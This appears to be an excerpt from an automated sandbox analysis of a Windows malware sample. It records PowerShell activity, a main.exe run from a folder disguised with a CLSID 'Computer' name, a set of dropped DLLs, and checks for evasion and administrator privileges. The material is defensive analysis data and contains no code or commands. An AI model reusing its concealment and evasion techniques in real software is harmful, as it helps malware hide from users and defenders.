Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: GetLastError,EnumServicesStatusExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strcpy,

22_2_00007FF8B91834F4

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8B9152BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8B9185728
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BA502BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFAB1D98
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFB52CE8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFB82278

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7085	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2656	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6702	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2980	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3867	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 3609
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 4778

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\L0FsI2PI	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\rVtDGbMQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\gBXHuZY0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\erT926ze	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\rmcjgYnL	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\y8J74cEH	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\ypqwg32t	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\fYg6Jeg5	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\3rVpJMV7	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_22-58679

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

